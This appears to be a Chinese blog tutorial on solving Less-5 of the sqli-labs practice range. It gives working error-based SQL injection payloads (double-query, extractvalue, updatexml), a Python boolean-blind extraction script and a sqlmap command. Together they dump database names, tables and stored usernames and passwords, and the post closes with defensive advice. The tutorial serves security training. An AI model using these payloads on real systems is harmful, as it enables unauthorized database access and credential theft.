sqlilabs靶场是学习SQL注入绕不开的一套环境而less-5堪称从“有回显”到“无回显”的分水岭。这一关页面永远是“You are in...”一不显示数据二只存在真假两种响应。很多人在前面关卡能靠union直接读出账号密码到了这里就卡住了。这篇笔记就围绕sqlilabs的less-5完整过关过程展开我会先把双查询报错注入的原理讲透再给出手工注入每一步的操作和SQL语句最后把常见坑、替代方案以及防御建议整理成速查清单。无论你是刚过完less-1到less-4准备进阶的新手还是想复习报错注入原理的从业者这篇都能直接参考。1. 关卡分析与解题思路1.1 less-5 与之前关卡的差异前四关的流程一般是判断注入点、猜测列数、union select爆出回显位、然后直接在页面上读出数据库名、表名和字段值。因为页面会把SQL查询的结果直接渲染出来查询语句拼到哪里数据就显示在哪里非常直观。less-5的设计思路完全不同。打开页面提交?id1页面只显示一行“You are in...”后面不管id怎么变页面都不会输出查询结果。如果提交?id1页面会直接抛出MySQL语法错误并且错误信息里还带着SQL语句片段。这就意味着查询是正常执行的只是结果没有输出到页面上错误信息被原样显示出来了这是一个可以“借用”的输出通道我们可以通过构造SQL语句让查询过程中的报错信息携带我们想要的数据内容。只有两种响应状态的时候最朴素的做法是走布尔盲注或时间盲注一个字符一个字符地猜。但less-5既然默认把数据库错误显示了出来用手工报错注入是最直接、最高效的方案。1.2 为什么选择报错注入而不是纯盲注同样面对“无回显”场景报错注入、布尔盲注、时间盲注三个方案其实都能解这一关关键看成本和稳定性。方案判断依据单次请求获取数据量优点缺点布尔盲注页面返回正常或异常1 bit不需要报错信息兼容性强请求数量巨大效率低时间盲注响应时间延迟1 bit连真假响应都没有时也能用依赖网络稳定性容易误判报错注入报错信息中拼接数据几十到上千字符一次请求就能拿到完整数据依赖数据库版本和报错回显配置我实测下来less-5在默认环境下配置了完整的MySQL错误回显所以用报错注入一条payload就能把整个数据库名带出来。纯盲注虽然也能跑通但一个库名要发几十次请求表名、字段名、数据加起来就是几百上千次请求纯手工完全是在折磨自己。1.3 双查询报错注入的核心原理less-5最经典的解法叫“双查询注入”英文叫Double Query Injection。它利用的是MySQL在count(*)group by执行过程中的一个特殊行为。核心payload长这样and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --很多人第一次看到这个payload是一脸懵的我尽量用大白话拆开讲。先看内层的三个函数rand(0)生成一个固定序列的伪随机小数乘以2再取整得到的结果只可能是0或1。关键点在于rand(0)的序列是固定的不是完全随机的这为“重复键”的产生提供了确定性。count(*)是聚合计数配合group by x会把x字段的值分组每一组统计数量。concat()把多个字符串拼接起来在这里是把随机数、分隔符、查询结果拼在一起相当于把payload、波浪号、目标数据、波浪号放在同一个字段里。整条语句执行时MySQL会对group by的分组键x进行多次计算。第一次计算生成分组键如果分组键已经存在它还会再计算一次来插入临时表。因为floor(rand(0)*2)的序列是固定的0、1重复组合数据量一大分组键就必然会出现重复。当重复键碰上临时表的主键约束MySQL就会抛出类似Duplicate entry 1~database()~1 for key group_key的报错。注意看报错信息里那串1~数据库名~1就是concat拼接出来的结果。数据库名通过一个子查询塞进了concat里然后数据库名的值就随着报错一起打印到了页面上。这就是整个技巧的精华不是让程序输出数据而是让程序把数据当成错误信息的一部分吐出来。很多人自己尝试构造时习惯用rand()而不是rand(0)这会导致每次执行时随机序列完全不同有时能触发报错有时不能结果非常不稳定。less-5标准解法里用rand(0)是有原因的后面第三章会单独讲。1.4 这一关的数据“出站”通道是如何建立的可以这么理解出站通道正常网站的SQL查询结果是一辆装满货物的卡车页面负责把货物卸下来给用户看。到了less-5页面把卸货环节砍了货物再多你也看不见。报错注入做的事情就是另外接了一条“故障报警管道”——程序在计算过程遇到异常时的错误日志。我们想办法把目标数据预先缝进异常信息里管道一响数据跟着错误说明一起冒出来。less-5里能看到MySQL错误说明靶场源码在连接数据库或者执行查询后直接调用了类似mysqli_error()并且把返回值打印在页面上。这个过程不需要页面主动查询并输出数据库结果只需要数据库产生了错误信息即可。所以构造payload的目标就很清晰让数据库执行过程中必然抛错同时让报错信息里携带我们指定的子查询结果。2. 手工注入实操全流程2.1 注入点探测与闭合方式判断先打开靶场访问http://127.0.0.1/sqli-labs/Less-5/?id1页面显示“You are in...”。接着依次测试?id1 ?id1 -- ?id1 and 11提交?id1时页面出现数据库语法错误说明单引号被拼进了SQL语句破坏了原有结构。再提交?id1 --页面重新显示“You are in...”说明两个横线注释把后面多余的内容注释掉了查询恢复正常。这组测试确认了SQL语句大概率是这种形式select * from table where id$id闭合方式是单引号字符型。这一点判断错了后面全白搭所以哪一关到第一步就要拿出足够耐心不要上来就套payload。2.2 确认查询列数与页面响应差异常规的union注入在确认列数时用order byless-5也一样?id1 order by 3 -- ?id1 order by 4 --order by 3时页面正常返回“You are in...”order by 4时报错。说明查询结果的列数就是3列。这里有个细节因为页面不展示数据我们不能像前几关那样通过“数字出现在第几个回显位”来判断只能靠页面是否报错、是否显示“You are in...”来判断。逻辑上order by 4确实超出了查询结果的列数MySQL会报“Unknown column 4 in order clause”页面自然显示异常。虽然报错注入不一定非要知道列数但确认列数能帮你判断表结构也方便后面万一需要切换到union注入或手工编写脚本时心里有数。2.3 报错注入获取数据库名和版本信息直接上核心payload获取当前数据库名?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --我实测浏览器地址栏里可以直接粘贴这段默认编码下也能正常执行。如果要更规范可以在请求工具里把空格编码成%20--保留原样加号代表空格注释符号。执行后页面报错信息中能看到类似这样的片段Duplicate entry 1~security~1 for key group_key这里的security就是当前数据库名。想拿版本信息把database()替换成version()即可?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select version()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --返回结果里会出现MySQL版本号比如5.7.26。这一步同时验证了两件事报错注入的通路是通的子查询成功执行并携带了数据。2.4 获取所有表名的完整过程拿到了数据库名security接下来要查这个库下的所有表。核心思路是把内层子查询的database()替换成一个查询information_schema.tables的子查询?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --逐个改动limit 0,1里的偏移量limit 1,1、limit 2,1依次读取就能把security库下的表一条一条挖出来。我实际脱出来的表有emails、referers、uagents、users四张其中users表里显然存着账号信息。如果嫌一条一条太慢可以在子查询里换成group_concat(table_name)一次性拼接多个表名?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --但要注意group_concat默认的最大长度是1024字符实际受group_concat_max_len变量控制表很多的时候可能被截断。报错信息本身也在重复拼接两个因素叠加输出很可能不完整。所以主推方案还是limit一条条读或者用substr对结果切片。2.5 获取字段名与目标数据接下来锁定users表先看它有哪些列?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --同样通过limit逐条翻最终能拿到id、username、password三个字段名。再查具体的数据行?id1 and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x) a) --0x3a是冒号的十六进制编码用来把用户名和密码分隔开。执行后报错信息中会出现类似1~Dumb~Dumb~1的内容第一个是用户名第二个是密码。less-5到这一步就算彻底通关了。如果不想把表名列名写在SQL语句里也可以把security.users换成(select table_name ...)这种子查询方式但实际测试下来直接写死字符串更省心还能减少一层嵌套带来的语法问题。3. 常见问题与排查技巧实录3.1 为什么不能用 rand() 代替 rand(0)这是我在less-5上踩过最大的坑。第一次自己构造payload时图省事直接写了floor(rand()*2)结果提交了几次时好时坏有时候页面甚至完全不报错。后来把rand()和rand(0)对比测试才发现普通rand()每次调用返回的随机数都不一样group by在构建临时表时对分组键的两次计算无法保证结果一致重复键的产生成了完全随机的概率事件。rand(0)则不同它使用固定种子0生成一个确定的伪随机序列。在这个序列的基础上做floor(rand(0)*2)结果虽然还是0和1的组合但组合顺序是固定的重复键必然会出现。只要information_schema.columns里的数据行数足够多触发重复键是必然结果而不是碰运气。所以说这条payload里的rand(0)不是随便选的它保证了报错触发的确定性。以后自己写报错注入payload优先复刻这个固定种子的写法别自己发挥。3.2 报错信息太长导致数据看不到尾部用group_concat把多个表名或字段名拼在一起时输出经常只显示前半段后半段消失不见。原因有两个group_concat有长度上限报错信息本身在页面上显示时也可能被HTML截断或换行干扰。解决方法是分片读取。用substr()把结果切成小段比如substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,50)第一段取1到50个字符第二段取51到100配合limit偏移量逐步读完。虽然请求次数变多了但每一条数据都是完整可靠的也不会因为输出过长被浏览器和数据库截断。3.3 页面没有报错回显时怎么办这个情况在真实环境中非常常见很多系统即使SQL执行出错也会对外屏蔽错误细节只返回一个500页面。less-5的默认配置属于靶场的“福利局”真的进了实战环境发现页面完全不吐报错时就要退回盲注思路。布尔盲注的核心是利用真假响应判断字符编码值。比如猜数据库名的第一个字符ASCII码是否大于115?id1 and ascii(substr(database(),1,1))115 --页面正常显示“You are in...”说明条件为真否则不显示。基于这个逻辑可以用Python写一个简单的二分法脚本逐字符爆破数据。我贴一段当时用的简化脚本方便参考import requests url http://127.0.0.1/sqli-labs/Less-5/ result def fetch(condition): payload f?id1 and {condition} -- resp requests.get(url payload) return You are in in resp.text for pos in range(1, 20): low, high 32, 126 while low high: mid (low high) // 2 if fetch(fascii(substr(database(),{pos},1)){mid}): low mid 1 else: high mid result chr(low) print(pos, result)脚本原理就是标准的二分查找每次判断目标字符的ASCII码是否大于中间值把搜索区间不断缩小直到确定字符编码。这种方式不需要任何报错信息只需要页面存在真假两种状态。3.4 当前环境换成MySQL 8.0后报错注入失效less-5默认跑在MySQL 5.x环境下双查询报错注入非常稳定。但我把这个靶场挪到MySQL 8.0的容器里同样的payload就出现了不报错或者报错信息没有数据的情况。原因是rand(0)group by触发的临时表主键冲突行为在高版本MySQL中的执行计划发生了变化不再稳定产生重复键错误。解决办法是换用其他报错函数。MySQL 5.1以上版本自带extractvalue和updatexml两个函数它们对XML路径参数有格式校验传入非法的XPATH格式就会报错。利用这个特性可以玩出更简洁的报错注入以less-5为例?id1 and extractvalue(1, concat(0x7e, database(), 0x7e)) -- ?id1 and updatexml(1, concat(0x7e, database(), 0x7e), 1) --执行后报错信息会直接包含波浪号和数据库名。这类函数报错没有临时表分组那套复杂机制兼容性更好在MySQL 5.1到8.0的常用版本里都能用。如果哪天你手里的靶场环境自己搭过或是在Docker里用了高版本MySQL直接用extractvalue更省心。3.5 sqlmap过关的补充思路手工跑通之后再用sqlmap做交叉验证能极大增强对payload的理解。这条命令就是针对less-5的自动化跑法sqlmap -u http://127.0.0.1/sqli-labs/Less-5/?id1 --dbms mysql --technique E --batch --dbs--technique E表示只使用Error-based注入技术正好对应less-5的报错注入场景。--dbs用于枚举数据库名。实测sqlmap默认的检测也能识别出这个注入点但明确指定--technique E可以避免它在布尔盲注上浪费时间。工具能跑通不代表手工就不用学了因为工具生成的payload往往很复杂一旦目标环境变了不理解原理根本没法手动调整。4. 从less-5到真实防御与扩展思路4.1 报错注入在真实环境中的前提条件很多初学者在靶场里玩得风生水起进了真实环境却碰了一鼻子灰。原因在于真实业务系统很少会把数据库原始报错直接抛给用户。报错注入必须满足一个前提页面能输出SQL执行错误的内容。如果应用层捕获了异常并返回一张“系统繁忙”的提示页那么extractvalue报出来的错误信息根本到不了用户浏览器。我在测试一个老旧内部系统时遇到过一种特殊情况系统在开发环境开启了错误展示数据库连接无误时页面正常一旦SQL语法错误页面上会直接打印出含SQL语句的错误详情。那时用updatexml轻轻松松把数据库版本、当前用户、库名全部带了出来。这种问题在框架诞生前的遗留PHP项目里并不少见。所以报错注入的实战价值主要体现在开发调试阶段错误展示被遗留到生产、数据库异常处理不完善、自定义错误页面直接拼了数据库错误信息这三种场景。与其指望这些漏洞不如把注意力放在如何发现它们上面主动提交特殊字符观察页面响应中是否出现SQL关键字、函数名或数据库版本标识。4.2 开发视角的规避手段既然知道了less-5的攻击原理防御手段就一目了然。这套注入能成立有两个关键点用户输入被拼进SQL语句、错误信息被直接输出。堵住任何一个报错注入就打不穿。参数化查询是首选方案也就是用预处理语句替代字符串拼接。以PHP的PDO为例$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);用户传入的1只会被当作普通字符串传给数据库永远不会被当成代码执行。其次是关闭生产环境的错误显示确保display_errors为Off状态把错误信息写入日志而不是打印到页面。最后是数据库账号的权限收拢查询账号只授予所在库的必要权限即使注入成功也无法访问information_schema之外的数据。4.3 从这一关领悟的核心方法论less-5的本质是“输出通道受限”场景。页面不显示结果但错误信息成了可用输出。通过这种方式我逐渐意识到SQL注入的探索过程可以抽象成三步先确定输入是否进入SQL语句、再确认有哪些输出通道、最后根据通道类型选择合适的技术方案。union注入是数据回显通道布尔盲注是状态通道时间盲注是速度通道报错注入是异常通道。这关让我印象最深的并不是那段复杂的双查询payload而是理解到“输出”并不局限于页面数据区。任何由用户输入影响并反映到前端的内容包括报错信息、响应时间、状态码都可以成为数据提取的载体。往后打堆叠注入、二次注入、宽字节注入时这层认知帮我在环境变化时快速调整思路而不是只背payload。报错注入真正难的不是背payload而是弄清楚错误是怎么被“诱导”出来的。当初我在less-5上花了一个晚上把count、floor、group by拆开逐个子查询去掉又加回来调试到页面报错里完整出现数据库名才彻底明白。如果你也卡在这一关不要急着跑sqlmap先手动凑一遍把报错的产生机制摸清楚后面再碰盲注、堆叠注入和二次注入都会顺很多。
企业数字化 ERP 产品动态
相关推荐
基于EasyOCR的OCR文字识别系统:从环境搭建到服务封装 简介:这是一份基于EasyOCR的OCR文字识别系统完整项目,面向需要实现图像文字提取的开发者、机器学习入门者,也适合作为课程设计参考。系统整合了图像输入、预处理、EasyOCR识别与结果输出等模块,预处理环节涉及灰度化、二值化、去噪… · 2026/9/26 13:17:14
Flavia叶片分类实战:从特征工程到CAM可视化的完整教学闭环 简介:本资源是一套面向高校人工智能与计算机相关专业学生的Flavia叶片图像分类实践项目,融合传统机器学习与深度学习双路径方案,适用于课程设计、毕业设计及入门级科研实践。压缩包共12个文件,含9个Python源码(覆盖Ale… · 2026/9/26 13:17:08
ESP32 NVS数据隔离四层防线:防串门、防覆盖、防崩溃 1. 为什么“多个小应用共用一块 Flash”会出事?——从 NVS 的物理本质讲起你手头有块 ESP32,上面跑着温控模块、OTA 升级服务、蓝牙配网 UI、还有个本地日志缓存器——四个独立功能模块,各自都要存点东西:温控的校准系数、OTA 的固… · 2026/9/26 13:55:21
Claude Code模板实战:从提示词工程到AI编程规范化 第一次看到 claude-code-templates 这个项目名,我的第一反应是:模板?代码生成不是现场发挥吗?等自己实际搭过一遍才发现,模板这套东西不是“把提示词存起来”这么简单。它解决的是我长期以来的一个真实痛点ÿ… · 2026/9/26 13:55:14
UWB不止定位:用SR1120构建低功耗高速短距数据链路 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 13:55:08
Playwright连接本地Chrome:CDP模式实战指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 13:55:02
从零开始,用Claude Code + TaoToken 重塑你的终端开发体验 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 13:54:56
数据库课后习题答案别硬背:当测试用例集刷,效率翻倍 简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、… · 2026/9/26 0:00:21
OpenClaw 替代品?Hermes Agent 踩坑实录:macOS 飞书接入 TaoToken 配置 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 0:00:40
向下兼容与向上兼容:接口设计中的兼容性策略与工程实践 一次版本升级事故,是很多团队绕不过去的坎。线上环境里,服务端明明已经上线了新版接口,老的移动端还在照着旧文档传参数。请求一到网关,校验直接拒绝,用户操作失败,客服群炸了锅,开发群里开始互… · 2026/9/26 0:00:46